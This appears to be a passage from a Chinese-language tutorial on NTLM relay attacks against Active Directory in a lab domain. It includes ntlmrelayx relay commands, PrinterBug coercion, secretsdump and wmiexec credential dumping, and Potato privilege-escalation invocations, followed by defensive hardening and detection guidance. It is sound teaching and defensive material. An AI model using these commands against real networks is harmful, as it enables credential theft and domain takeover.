impacket-ntlmrelayx -t ldap://dc01.testjd.local --dump-adcs
# 中继到 AD CS Web 注册接口(ESC8)
impacket-ntlmrelayx \
-t http://dc01.testjd.local/certsrv/certfnsh.asp \
--adcs \
-smb2support
如果 AD CS 证书模板配置不当(如 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT 或 EDITF_ATTRIBUTESUBJECTALTNAME2),攻击者可以申请任意用户(包括 Domain Admins)的证书,然后通过 PKINIT 获取 TGT。
WebDAV 回退技巧(SMB → HTTP 转换)
这是 2025 年由 Synacktiv 研究员在 OrangeCon 上公开、SpecterOps 在「Escaping the Confines of Port 445」一文中详细分析的一项重要技术。当目标机器开启了 WebClient 服务(或攻击者能通过 SCM 远程启动它)时,Windows SMB 客户端在收到特定错误码后会自动回退到 WebDAV(HTTP),将原本局限于 SMB 的认证转换为可中继到 LDAP 的 HTTP 认证。
原理
正常的 SMB 认证流程:
Client → SMB Tree Connect → Server 返回 STATUS_SUCCESS → 完成
以往攻击者的 SMB 服务器收到认证后返回 STATUS_ACCESS_DENIED:
Client → SMB Tree Connect → STATUS_ACCESS_DENIED → 连接断开 → 无法利用
WebDAV 回退技巧——攻击者返回特定错误码:
Client → SMB Tree Connect → STATUS_LOGON_FAILURE (0xC000006D)
或 STATUS_BAD_NETWORK_NAME (0xC00000CC)
→ Windows SMB 客户端自动尝试 WebDAV 回退
→ WebClient 服务将请求转为 HTTP:
原来的 SMB 连接 → 自动变为 HTTP 连接
→ Client 通过 HTTP 重新发起 NTLM 认证
→ 攻击者截获的变成了 HTTP 上的 NTLM 认证
→ HTTP 认证无 MIC/SMB 签名限制 → 可自由中继到 LDAP
完整复现步骤
前置条件:
– 目标机器 WebClient 服务已启用(手动或通过 SCM 远程启动)
– 攻击机可以响应两个阶段的请求:先作为 SMB 服务器返回错误码,再作为 HTTP 服务器截获回退后的认证
Step 1:在攻击机上启动两个 ntlmrelayx 实例——一个负责触发回退,一个负责接收 HTTP 认证:
# 终端 1:ntlmrelayx 监听 SMB,返回 STATUS_LOGON_FAILURE 触发 WebDAV 回退
# 同时中继到 LDAP(注意:这里收到的是回退后 HTTP 认证,不是原始 SMB 认证)
impacket-ntlmrelayx -t ldap://dc01.testjd.local --delegate-access -smb2support --http-port 80
# 终端 2(可选):如果 WebClient 未启动,先通过 SCM 远程启动
# 先获得 SMB Relay 到目标 → SOCKS 模式 → proxychains + services.py
impacket-ntlmrelayx -t smb://192.168.244.133 -socks -smb2support
# 通过 proxychains 远程启动 WebClient
proxychains impacket-services testjd/attacker:[email protected] start -name WebClient
Step 2:触发强制认证(如 PrinterBug),目标向攻击机的 SMB 服务器发起连接:
python3 printerbug.py testjd.local/attacker:[email protected] 192.168.244.1
Step 3:流程自动进行:
– 攻击机 SMB 服务器返回 STATUS_LOGON_FAILURE(此行为由 ntlmrelayx 自动处理)
– 目标 SMB 客户端触发 WebDAV 回退
– 目标通过 HTTP 向攻击机重新发起 NTLM 认证
– ntlmrelayx 截获 HTTP 上的 NTLM 认证 → 中继到 LDAP
– 执行 RBCD 或 Shadow Credentials
来源:
– Synacktiv OrangeCon 2025 演讲「Old Tricks, New Depths: Exploring the Hidden Relaying Capabilities of Local Name Resolution Poisoning」
– SpecterOps 博客「Escaping the Confines of Port 445」(2025-07-24), Costa Papadatos
– SpecterOps 博客「Will WebClient Start」(2025-08-19), Logan Goins
SOCKS 代理模式
ntlmrelayx 的 SOCKS 模式允许中继成功后保持会话,而不是一次性执行操作:
# 启动 SOCKS 模式(中继到多个目标)
echo "192.168.244.131" >> targets.txt
echo "192.168.244.132" >> targets.txt
echo "192.168.244.133" >> targets.txt
impacket-ntlmrelayx -tf targets.txt -socks -smb2support
# 查看当前可用的 SOCKS 会话
ntlmrelayx> socks
# 通过 proxychains 使用中继后的会话
proxychains impacket-secretsdump -no-pass testjd/[email protected]
proxychains impacket-wmiexec -no-pass testjd/[email protected]
SOCKS 模式的优势在于:不需要在触发认证的瞬间就决定做什么。攻击者可以先让所有认证进来,然后从容地选择一个有价值的会话进行后续操作。


Multi-Relay 多目标中继
从 impacket v0.9.21 开始,ntlmrelayx 支持将一个 Victim 的认证同时中继到多个目标:
Multi-Relay 工作原理:
1. 第一次认证:只获取 Victim 的身份信息(用户名、域名)
2. 强制 Victim 重新认证:
- SMB:返回 STATUS_SESSION_EXPIRED → 客户端透明重连
- HTTP:返回 307 Temporary Redirect → 浏览器重新发起 NTLM 握手
3. 每次重新认证 → 中继到不同的目标
4. 在所有目标上同时执行操作
# Multi-Relay 模式(默认开启)
impacket-ntlmrelayx -tf targets.txt -smb2support
# 如果 Victim 强制签名,关闭 Multi-Relay
impacket-ntlmrelayx -tf targets.txt --no-multirelay -smb2support
NTLMv1 降级利用
当目标服务端支持 NTLMv1 时,攻击者可以降级认证到 NTLMv1:
NTLMv1 vs NTLMv2 对中继的影响:
NTLMv1:
- Response 不包含 Client Challenge
- 不包含 MIC
- 不包含 AV_PAIR
- → 可以自由中继 + 移除签名标志
NTLMv2:
- Response 包含 Client Challenge、AV_PAIR
- 包含 MIC(如果打了 CVE-2019-1040 补丁则强制要求)
- → 中继受限(除非 --remove-mic 且目标未打补丁)
在实际攻击中,如果 Responder 捕获到的是 NTLMv1 Hash(有挑战的情况下),可以:
- 直接用 hashcat -m 5500 快速爆破(DES 加密,速度极快)
- 利用 NTLMv1 无 MIC 的特性,自由中继到任意目标
# 强制 Responder 使用 NTLMv1 挑战(--lm 降级)
responder -I eth0 --lm
注意:现代 Windows 默认使用 NTLMv2,需要特定条件才能降级到 NTLMv1。
LMCompatibilityLevel设置为 2 或更低时客户端才会发送 NTLMv1。
NTLM 反射与 Potato 家族提权
前面讨论的中继攻击都是远程中继——Attacker 截获 Victim 的 NTLM 认证然后转发到另一台 Target。Potato 家族走的是一条不同的路:本地反射(Local Reflection)——把 SYSTEM 账户的 NTLM 认证中继回本机的高权限服务,从而实现本地提权(从低权限服务账户 → SYSTEM)。
本地反射的核心机制
本地反射与远程中继的根本区别在于中继目标是自己:
远程中继:
Victim (A) → Attacker → Target (B) # A ≠ B,横向移动
本地反射:
SYSTEM (本地 A) → Attacker (本地 A) → 本地 RPC/SMB (本地 A) # A = A,提权
之所以能”反射回自己”,核心在于 NTLM 消息中的一个设计:Type 2(Challenge)消息中带有一个 Reserved 字段,该字段包含了 LSASS 内部的安全上下文句柄。当 Attacker 在同一台机器上做本地中继时,Attacker 的 AcceptSecurityContext() 调用会生成自己的上下文句柄,然后 Attacker 把 Type 2 中的 Reserved 字段替换成自己的句柄。当 SYSTEM 的认证完成后,认证令牌被绑定到 Attacker 的上下文上——Attacker 可以通过 ImpersonateSecurityContext() 和 CreateProcessAsUser() 窃取 SYSTEM 令牌并创建 SYSTEM 进程。
Potato 家族演进

Hot Potato(2016,已修补)
最早的 Potato,利用 NBNS 欺骗 + WPAD 代理检测:
1. 在本地运行 Responder/NBNS 投毒,劫持 WPAD 名称解析
2. 当 SYSTEM 进程通过 WinHTTP 请求 WPAD 时,被引向攻击者的 HTTP 服务
3. SYSTEM 通过 HTTP 发起 NTLM 认证
4. 攻击者将 HTTP 捕获的 NTLM 认证中继到本机 SMB(127.0.0.1:445)
5. 以 SYSTEM 身份在 SMB 上执行操作
MS16-075(2016 年 6 月)修补了 HTTP → SMB 的本机反射路径。
Juicy Potato(2018,Windows 10 1809+ 修补)
最经典的 Potato 变种,利用 COM/DCOM 激活触发 SYSTEM 认证。攻击者指定一个 CLSID(如 BITS 服务 {4991d34b-80a1-4291-83b6-3328366b9097}),当 COM 服务以 SYSTEM 身份激活该 CLSID 时,它会对攻击者控制的本地端口发起 NTLM 认证。攻击者将认证中继到本地 RPC 服务(端口 135),窃取 SYSTEM 令牌:
# Juicy Potato 经典用法
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c whoami" -t * -c {4991d34b-80a1-4291-83b6-3328366b9097}
参数说明:-l 监听端口,-p 要执行的程序,-t * 表示同时尝试 CreateProcessWithToken 和 CreateProcessAsUser,-c 指定 CLSID。
前提条件:
- 当前账户拥有
SeImpersonatePrivilege或SeAssignPrimaryTokenPrivilege(IIS 应用池、SQL Server 服务账户等通常有) - 目标系统未打 DCOM 强化补丁(Windows 10 1809 / Server 2019 之前的版本)
PrintSpoofer / Sweet Potato(2020)
利用打印机命名管道(\\.\pipe\spoolss)触发 SYSTEM 认证:https://github.com/itm4n/printspoofer
PrintSpoofer64.exe -i -c cmd
Sweet Potato: https://github.com/CCob/SweetPotato
SweetPotato.exe --args="/c whoami.exe > c:\test.txt"

God Potato / LocalPotato(2023)
God Potato 支持广泛的 Windows 版本(Server 2012–2022 / Windows 8–11)。
https://github.com/BeichenDream/GodPotato

LocalPotato(CVE-2023-21746)利用 NTLM 本地认证中的上下文交换漏洞:
https://github.com/decoder-it/LocalPotato
LocalPotato 的工作原理:
1. Attacker 创建两个 SMB 会话上下文(Context A 和 Context B)
2. 诱导 SYSTEM 进程连接到 Context A
3. Attacker 同时用 Context B 连接本地 SMB 服务
4. 在 LSASS 内部交换两个上下文的绑定
5. SYSTEM 的认证被"错误地"绑定到 Context B → Attacker 获得 SYSTEM 令牌
与远程中继的关系
Potato 技术与本文前面讨论的远程中继共享同一套底层机制(NTLM 消息中继),但目标不同:
| 远程中继 | Potato 本地反射 | |
|---|---|---|
| 目的 | 横向移动、提权到域管 | 本地提权到 SYSTEM |
| 中继目标 | 其他机器 | 本机(127.0.0.1) |
| 受害者 | 域内其他高权限账户 | 本机 SYSTEM 账户 |
| 前提 | 网络访问、强制认证向量 | 本地代码执行 + SeImpersonatePrivilege |
| 典型工具 | ntlmrelayx | JuicyPotato, PrintSpoofer, GodPotato |
防御措施
NTLM 中继攻击的存在,根本原因是 NTLM 协议设计缺陷。完全防御需要多层防护。
第一层:消除攻击面
# 关闭 Print Spooler(域控上尤其重要)
Stop-Service Spooler -Force
Set-Service Spooler -StartupType Disabled
# 关闭 WebClient
Stop-Service WebClient
Set-Service WebClient -StartupType Disabled
# 将 ms-DS-MachineAccountQuota 设置为 0
# ADSI 编辑器路径:
# CN=Directory Service,CN=Windows NT,CN=Services,
# CN=Configuration,DC=testjd,DC=local
# ms-DS-MachineAccountQuota = 0
- 关闭 LLMNR:组策略 → 关闭多播名称解析 → 已启用
- 禁用 NetBIOS over TCP/IP:DHCP 选项或 WINS 配置
- 配置 DHCPv6 Guard(防止 mitm6 攻击)
- RPC 过滤:阻止 MS-RPRN、MS-EFSR、MS-DFSNM
第二层:启用签名保护
强制 SMB 签名(组策略):
Computer Configuration
→ Windows Settings → Security Settings
→ Local Policies → Security Options
→ "Microsoft network client: Digitally sign communications (always)" = Enabled
→ "Microsoft network server: Digitally sign communications (always)" = Enabled
强制 LDAP 签名(组策略):
Computer Configuration
→ Windows Settings → Security Settings
→ Local Policies → Security Options
→ "Domain controller: LDAP server signing requirements" = Require signing
强制 LDAP Channel Binding(注册表):
# 域控上设置
HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters
LdapEnforceChannelBinding = 2 # 2 = 强制启用
# 0 = 禁用, 1 = 协商, 2 = 强制
第三层:EPA 和 NTLM 限制
- IIS 启用 EPA:
system.webServer/security/authentication/windowsAuthentication
extendedProtection.tokenChecking = Require
- 通过组策略限制 NTLM:
"Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers"
逐步从审计(Audit)过渡到拒绝(Deny)
- 提升 LMCompatibilityLevel 到 5:
仅发送 NTLMv2 响应,拒绝 LM 和 NTLMv1
HKLM\System\CurrentControlSet\Control\Lsa\LmCompatibilityLevel = 5
第四层:保护高权限账户
# 将敏感账户加入 Protected Users 安全组
# 效果:禁用 NTLM 认证、票据不可委派、禁用 RC4/DES 加密
Add-ADGroupMember -Identity "Protected Users" -Members Administrator
# 标记敏感账户为"不可委派"
# 账户属性 → Account → Account options
# ☑ Account is sensitive and cannot be delegated
第五层:检测与监控
- 日志监控:
- Event ID 4625 / 4776:异常 NTLM 认证失败
- Event ID 2889:未签名 LDAP 会话(域控)
- Event ID 3039 / 3040:LDAP Channel Binding 相关
- Event ID 4768:PKINIT 证书认证(非预期的证书预认证)
- Event ID 5136:AD 对象修改(尤其是
msDS-KeyCredentialLink
msDS-AllowedToActOnBehalfOfOtherIdentity)
- Event ID 4741:非管理员创建计算机账户
- 网络监控:
- 异常 MS-EFSRPC / MS-RPRN / MS-DFSNM 调用
- LLMNR/NBT-NS 多播包(Responder 特征)
- DHCPv6 异常流量(mitm6 特征)
- EDR:
- PetitPotam、ntlmrelayx 等工具的已知行为特征
- LSASS 异常 Kerberos 票据缓存
- 非预期的 WebClient 服务启动
中继组合完整对比
协议与触发方式速查

跨协议中继的签名/MIC 规则
在查看完整对比表之前,有一个关键技术点必须先厘清——为什么有些跨协议中继需要 --remove-mic,有些不需要:
问题的根源:NTLMv2 的 MIC 字段
NTLMv2 在 Type 3 消息中内嵌一个 MIC(Message Integrity Code),
覆盖整条认证消息的完整性。MIC 的计算包含 AV_PAIR 中的 MsvAvFlags
标志位,其中包括"是否启用会话签名"的协商结果。
当源端是 SMB 时,NTLM 消息的 MsvAvFlags 中包含 SMB 签名协商标志。
这些标志是 SMB 协议特有的——其他协议不认识它们。
SMB → LDAP 为什么会失败:
LDAP 同样是支持会话签名的协议。当攻击者把带有 SMB 签名协商标志的
NTLM 消息中继到 LDAP 时,LDAP 服务端看到这些"它不认识但知道存在"的
标志位,协议栈无法正常处理,直接导致认证过程出错("glitch")。
如果攻击者尝试剥离这些标志位 → MIC 校验不通过 → 认证被拒绝。
唯一的办法:利用 CVE-2019-1040 移除 MIC(--remove-mic)。
SMB → HTTP 为什么不需要 --remove-mic:
HTTP 协议层根本就没有 NTLM 会话签名这个概念。攻击者把 SMB 捕获的
NTLM 消息重新嵌入到 HTTP Authorization 头中时,不需要修改任何
MsvAvFlags 标志位——因为 HTTP 服务端根本不解析 SMB 特有的签名标志,
它会忽略自己不理解的部分。MIC 保持完整 → 认证通过。
HTTP → LDAP 为什么最顺畅:
HTTP 源端的 NTLM 消息中没有 SMB 签名协商标志(因为 HTTP 不协商签名)。
中继到 LDAP 时,消息本身就是"干净的"——没有协议特有的标志需要剥离,
MIC 自然通过。这就是为什么 WebDAV/HTTP → LDAP 是最强大的中继组合。
| 源端协议 | 中继到→ | 需要 –remove-mic? | 原因 |
|---|---|---|---|
| SMB | SMB(签名未要求) | 否 | 同协议,无需修改 |
| SMB | SMB(签名要求) | 是 | 需剥离签名标志,破坏 MIC |
| SMB | LDAP / LDAPS | 是 | LDAP 支持签名,SMB 标志位导致协议栈 glitch,剥离标志则破坏 MIC |
| SMB | HTTP / HTTPS | 否 | HTTP 无会话签名概念,SMB 标志位被 HTTP 忽略,MIC 保持完整 |
| HTTP | 任意 | 否 | HTTP 源端无签名标志,消息”干净” |
| MSSQL (SMB) | LDAP / LDAPS | 否 | MSSQL 的 xp_dirtree 走的是 SMB,但 MSSQL 服务端的 SMB 实现通常默认不签名 |
所有中继组合的详细对比
下表汇总了所有常见的中继组合,包括每种组合的前提条件、触发方式、实验验证要点和实战价值:
| 源协议 | → | 目标协议 | 前提条件 | 中继的凭据类型 | 触发方式 | 攻击效果 | 实战价值 |
|---|---|---|---|---|---|---|---|
| SMB | → | SMB | 目标 SMB 签名 ≠ Required;被中继账户在目标上是本地管理员(Remote UAC 限制) | 机器账户 / 域用户 | Responder 投毒、PrinterBug、PetitPotam(无WebDAV)、LNK 文件陷阱 | 命令执行、SAM/LSA Dump、Payload 上传执行 | ★★★ 最经典 |
| HTTP | → | LDAP | LDAP 签名未强制(默认协商);LDAP Channel Binding 未启用 | 机器账户 / 域用户 | PetitPotam + WebDAV、mitm6 + WPAD、Responder WPAD 投毒 | RBCD 委派提权、Shadow Credentials、机器账户创建、ACL 提权、DCSync 授权 | ★★★ 最具实战价值 |
| HTTP | → | SMB | 目标 SMB 签名 ≠ Required;Remote UAC 限制 | 机器账户 / 域用户 | Exchange 邮件钓鱼(img 标签)、WPAD HTTP 认证 | SAM/LSA Dump、命令执行 | ★★☆ |
| HTTP | → | HTTP | 目标 HTTP 服务接受 NTLM 认证且 EPA 未启用 | 机器账户 / 域用户 | WPAD、mitm6、邮件钓鱼 | 以受害者身份访问 Exchange EWS、AD CS Web 注册、ADFS 等 Web 应用 | ★☆☆ |
| SMB | → | HTTP | 目标 HTTP 服务接受 NTLM 认证且 EPA 未启用;HTTP 无签名概念,MIC 保持完整 | 机器账户 / 域用户 | PrinterBug、PetitPotam(无WebDAV)、LNK 文件陷阱 | 以受害者身份访问 AD CS Web 注册(ESC8)、Exchange EWS、ADFS 等 | ★★★ |
| SMB | → | LDAP | 需 –remove-mic(CVE-2019-1040,目标未打补丁或使用 NTLMv1);跨机(不能同机) | 机器账户(强制认证触发)/ 域用户 | PrinterBug、PetitPotam(无WebDAV)、DFSCoerce | RBCD、ACL 提权(受限) | ★★☆ |
| HTTP | → | MSSQL | MSSQL 服务账户有 sysadmin(或满足 xp_cmdshell 条件) | 仅域用户(机器账户无 MSSQL 权限) | Responder WPAD、mitm6、邮件钓鱼 | MSSQL Shell → xp_cmdshell → 命令执行 | ★★☆ |
| SMB (来自 MSSQL) | → | LDAP | LDAP 签名未强制;攻击者有 MSSQL 登录(PUBLIC 即可) | 仅 MSSQL 服务账户(机器账户) | MSSQL xp_dirtree '\\攻击机IP\share' |
RBCD、机器账户创建、ACL 提权 | ★★★ MSSQL 中继中最有价值 |
| SMB (来自 MSSQL) | → | SMB | 目标 SMB 签名 ≠ Required;MSSQL 服务账户在目标上是本地管理员 | 仅 MSSQL 服务账户(机器账户) | MSSQL xp_dirtree、xp_fileexist |
命令执行、SAM Dump | ★★☆ |
| SMB (来自 MSSQL) | → | MSSQL | 攻击者有 MSSQL 登录 | 仅 MSSQL 服务账户(机器账户) | MSSQL xp_dirtree |
横向到另一台 MSSQL 服务器 | ★☆☆ |
| HTTP | → | IMAP | IMAP 服务接受 NTLM AUTH;被中继用户有邮箱 | 仅域用户(机器账户无邮箱) | Responder WPAD、mitm6、Outlook 钓鱼 | 读取/删除/下载受害者邮件 | ★★☆ |
| HTTP | → | IMAPS | 同上,IMAPS 993 端口可用 | 仅域用户(机器账户无邮箱) | 同上 | 加密信道下的邮件操作 | ★★☆ |
| HTTP | → | WINRMS | 需 NTLMv1(LmCompatibilityLevel ≤ 2);CbtHardeningLevel = Relaxed | 域用户 / 机器账户 | Responder WPAD、mitm6 | 交互式 PowerShell 远程会话 | ★☆☆(前提苛刻) |
| SMB | → | WINRMS | 同上(NTLMv1 + CbtHardeningLevel = Relaxed) | 域用户 / 机器账户 | PrinterBug、PetitPotam | PowerShell 远程会话 | ★☆☆(前提苛刻) |
| WCF | → | LDAP | 三条件:LDAP 签名未强制 + CVE-2019-1040 未补 + 骗域管执行 Get-ADUser -Server <attacker_IP> |
域用户 | 域控 Get-ADUser -server <attacker_IP> |
RBCD、ACL 提权 | ★☆☆(原理正确,无实战案例验证) |
| HTTP | → | DCSYNC | ❌ DRSUAPI 强制 RPC 签名,仅在 Zerologon(CVE-2020-1472)环境下可能 | 机器账户(DC$)/ 域管用户 | — | 导出域凭据(NTDS.dit) | ☆☆☆(需 Zerologon) |
DCSYNC 与 RPC 是不同的协议客户端:
-t dcsync://dc01用于 DCSync 中继(DRSUAPI 导出凭据,受签名限制),-t rpc://target用于 RPC 中继(MS-TSCH 命令执行,CVE-2020-1113 后受限)。DCSync 凭据导出推荐通过间接路径实现——LDAP 中继授权 DCSync(--escalate-user)或 AD CS 中继(ESC8→TGT→DCSync),详见本文对应章节。
| HTTP | → | RPC | RPC 签名未强制(CVE-2020-1113 补丁后不可用);被中继用户在目标上是本地管理员 | 域用户(需特定权限)/ 机器账户 | ADWS WCF 调用、Responder WPAD | 命令执行(ATExec via 计划任务) | ★☆☆(2020 年后受限) |
| WCF | → | RPC | ❌ CVE-2020-1113 后需签名+加密 | 域用户 | 域控Get-ADUser -server <attacker-IP>| 命令执行(ATExec via 计划任务)| ☆☆☆(2020 年后不可用) |DCSYNC 与 RPC 是不同的协议客户端:
-t dcsync://dc01用于 DCSync 中继(直接调用 DRSUAPI 导出凭据),-t rpc://target用于 RPC 中继(通过 MS-TSCH 计划任务执行命令)。两者独立,不要混淆。凭证类型说明:
– 机器账户:强制认证技术(PetitPotam、PrinterBug 等)触发的是目标机器的机器账户(如DC01$)的 Net-NTLM Hash。机器账户在域控上拥有 DCSync 等高权限,在成员服务器上是本地 SYSTEM
– 域用户:网络投毒技术(Responder LLMNR/NBT-NS/WPAD、mitm6)和文件陷阱(LNK、.url)捕获的是交互式登录用户的 Net-NTLM Hash。如果用户是域管理员,则中继后获得域管权限
– 两者均可:标记为”机器账户 / 域用户”的行,表示两种来源的认证都可以中继到该目标协议
– 仅 MSSQL 服务账户:MSSQL 触发的是运行 MSSQL 服务的账户(通常是机器账户或 gMSA),不是交互式用户
选择中继组合的决策逻辑
问题 1:你如何捕获 NTLM 认证?
有漏洞 MSSQL 登录 ──→ 用 xp_dirtree 触发 SMB 认证
└──→ 中继到 LDAP(RBCD/Shadow Credentials)
└──→ 或中继到 SMB(命令执行)
能够执行 PetitPotam ──→ 目标有 WebClient?
(有域凭据) ├── 有 → WebDAV HTTP 认证 → 中继到 LDAP(推荐,消息"干净")
│ └──→ 或中继到 HTTP(AD CS ESC8)
│ └──→ 或中继到 SMB(需目标签名未强制)
│
└── 无 → SMB 认证 → 中继到 SMB(同协议,签名未强制则通过)
└──→ 或中继到 HTTP(SMB→HTTP 无需 --remove-mic)
└──→ 或中继到 LDAP(仅跨机 + --remove-mic)
只能用 Responder ──→ 被动等待受害者触发 LLMNR/NBT-NS/WPAD
(无凭据) └──→ HTTP 认证 → 中继到 LDAP / SMB / MSSQL / IMAP / WINRMS / HTTP
└──→ SMB 认证 → 中继到 SMB(受签名限制)/ HTTP(无需 --remove-mic)
问题 2:你中继什么身份?
域控机器账户 ──→ LDAP 中继(RBCD + S4U2Proxy → Administrator 票据)
普通机器账户 ──→ LDAP 中继(RBCD / Shadow Credentials 到自身)
└──→ HTTP 中继(AD CS ESC8 → 证书 → PKINIT → 该机器账户 TGT)
域管理员 ──→ LDAP 中继(ACL 提权 / 添加域管)
普通域用户 ──→ LDAP 中继(创建机器账户 + RBCD,利用 MachineAccountQuota)
问题 3:目标有哪些端口开放?
445 (SMB) → SMB 中继(最直接,受签名限制)
80/443 (HTTP)→ SMB 中继可至(SMB→HTTP 无需 --remove-mic);HTTP 中继可至
└──→ 具体目标:AD CS Web 注册、Exchange EWS、ADFS
389 (LDAP) → LDAP 中继(HTTP 源最佳;SMB 源需跨机 + --remove-mic)
636 (LDAPS) → LDAPS 中继(需 Channel Binding 未强制)
1433 (MSSQL) → MSSQL 中继
143/993 (IMAP/IMAPS) → IMAP 中继
5985/5986 (WinRM) → WINRMS 中继(需 NTLMv1)
总结
NTLM 中继攻击的本质是利用了 NTLM 协议的一个根本性缺陷:认证消息与底层通信协议的解耦。这个缺陷使得攻击者可以在不知道凭据的情况下,以受害者身份认证到任意目标服务。
攻击者的三条工作线:
1. 获取认证(获取 Net-NTLM Hash)
├── 被动:Responder(LLMNR/NBT-NS/WPAD)、mitm6
├── 主动:PetitPotam、PrinterBug、DFSCoerce、ShadowCoerce、MS-EVEN
└── 文件陷阱:.lnk、.url、.searchConnector-ms(零点击)
2. 中继认证(选择中继组合)
├── HTTP → LDAP:最具实战价值(RBCD / Shadow Credentials)
├── SMB → SMB:最直接(命令执行 / Hash Dump)
├── SMB → HTTP:AD CS ESC8(SMB→HTTP 无需 --remove-mic)
├── HTTP → HTTP:Exchange EWS / ADFS / Web 应用横向
├── SMB → LDAP:需跨机 + --remove-mic(CVE-2019-1040)
├── HTTP → SMB:Exchange 邮件钓鱼
├── HTTP → MSSQL:数据库 Shell → xp_cmdshell
├── HTTP → IMAP:邮件访问
├── HTTP → WINRMS:远程 PowerShell(需 NTLMv1 + Relaxed CBT)
├── HTTP → DCSYNC:❌ DRSUAPI 强制签名,仅 Zerologon 下可用
├── HTTP → RPC:命令执行(ATExec,CVE-2020-1113,已打补丁)
├── WebDAV 回退技巧:SMB 转 HTTP → LDAP
└── Multi-Relay:一个 Victim → 多个 Target
3. 利用权限(中继成功后做什么)
├── 命令执行(SMB 中继成功后 -c / -e)
├── Hash Dump(SMB 中继默认 dump SAM/LSA)
├── RBCD 提权(--delegate-access,创建机器账户 + 委派)
├── Shadow Credentials(--shadow-credentials,PKINIT → TGT)
├── ACL 提权(--escalate-user,添加域管/DCSync 权限)
└── Kerberos 票据获取(ADCS ESC8 → 证书 → PKINIT → TGT)
参考来源
协议规范与安全公告:
- [MS-NLMP] NTLM 协议规范:
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/ - [MS-SPNG] SPNEGO 扩展规范:
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-spng/ - Microsoft MS08-068 安全公告(SMB Credential Reflection):
https://learn.microsoft.com/en-us/security-updates/securitybulletins/2008/ms08-068 - Microsoft MS16-075 安全公告(Hot Potato — HTTP→localhost SMB):
https://learn.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-075 - Microsoft MS16-077 安全公告(WPAD — WinHTTP 凭据自动发送限制):
https://learn.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-077 - CVE-2019-1040 (NTLM MIC 绕过):
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2019-1040
NTLM 中继基础研究:
- Dirk-jan Mollema「Combining NTLM Relaying and Kerberos delegation」(mitm6 + RBCD):
https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation/ - Dirk-jan Mollema「NTLM relaying to AD CS」(PetitPotam + ESC8):
https://dirkjanm.io/ntlm-relaying-to-ad-certificate-services/ - Dirk-jan Mollema「Exploiting CVE-2019-1040」(SMB→LDAP 中继):
https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/ - The Hacker Recipes「NTLM Relay」:
https://www.thehacker.recipes/ad/movement/ntlm/relay - The Hacker Recipes「WPAD spoofing」:
https://legacy.thehacker.recipes/a-d/movement/mitm-and-coerced-authentications/wpad-spoofing
强制认证工具:
- PetitPotam (Lionel Gilles/@topotam77):
https://github.com/topotam/PetitPotam - mitm6 (Dirk-jan Mollema, DHCPv6 DNS 劫持):
https://github.com/dirkjanm/mitm6 - DFSCoerce (Synacktiv):
https://github.com/Wh04m1001/DFSCoerce
AD CS / ESC8:
- SpecterOps「Certified Pre-Owned」(2021,ESC1-ESC8 原始研究):
https://posts.specterops.io/certified-pre-owned-d95910965cd2 - Certipy (ly4k):
https://github.com/ly4k/Certipy
WinRM 中继:
- kawakatz「The Basics of NTLM & Kerberos Relays」(WinRMS 中继条件分析):
https://kawakatz.io/notes/the-basics-of-ntlm-kerberos-relays/#ntlm-relay-to-winrmwinrms - Microsoft WinRM 安全文档:
https://learn.microsoft.com/en-us/powershell/scripting/security/remoting/winrm-security - Microsoft「LAN Manager 身份验证级别」(LmCompatibilityLevel 0-5 完整说明):
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc960646(v=technet.10) - Microsoft Q&A「What is the default LmCompatibilityLevel for Windows Server 2012, 2016 and 2019?」:
https://learn.microsoft.com/en-us/answers/questions/1189745/what-is-the-default-lmcompatibilitylevel-for-windo
DCSync / DRSUAPI 中继:
- Dirk-jan Mollema,impacket PR #959「DCSYNCRelayClient」(2020):
https://github.com/fortra/impacket/commit/65cf657f00ba36ea9396be263007e08b4d71f3c1 - [MS-RPCE] RPC 认证级别规范(DRSUAPI 签名要求):
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rpce/425a7c53-c33a-4868-8e5b-2a850d40dc73 - impacket GitHub Issue #966(signingkey TypeError):
https://github.com/fortra/impacket/issues/966
LDAP 签名与 Channel Binding 强制时间线:
-
Microsoft KB4520412「2020, 2023, and 2024 LDAP channel binding and LDAP signing requirements for Windows」:
https://support.microsoft.com/en-us/topic/2020-2023-and-2024-ldap-channel-binding-and-ldap-signing-requirements-for-windows-kb4520412-ef185fb8-00f7-167d-744c-f299a66fc00a明确说明 2020 年 3 月更新不会更改 LDAP 签名和 Channel Binding 的默认策略 -
Microsoft「LDAP session security settings and requirements after ADV190023」:
https://learn.microsoft.com/en-us/troubleshoot/windows-server/active-directory/ldap-session-security-settings-requirements-adv190023
RPC / WCF 中继:
- Compass Security「Relaying NTLM authentication over RPC」(CVE-2020-1113, 2020):
https://blog.compass-security.com/2020/05/relaying-ntlm-authentication-over-rpc/ - Clément Notin「NTLM relay of ADWS (WCF) connections with Impacket」(2020):
https://clement.notin.org/blog/2020/11/16/ntlm-relay-of-adws-connections-with-impacket
MSSQL 中继:
- Microsoft「MSSQLSERVER_18452」(不受信任的域 – NTLM loopback 错误):
https://learn.microsoft.com/en-us/sql/relational-databases/errors-events/mssqlserver-18452-database-engine-error
Windows 安全区域与 Intranet Zone 自动认证:
- Microsoft KB 303650:IE 安全区域与 NTLM 自动认证行为(点号规则、Intranet Zone 判断逻辑)
- IE Intranet Zone 检测机制(单标签名 vs FQDN vs IP 的区域判定):
https://support.microsoft.com/en-us/topic/303650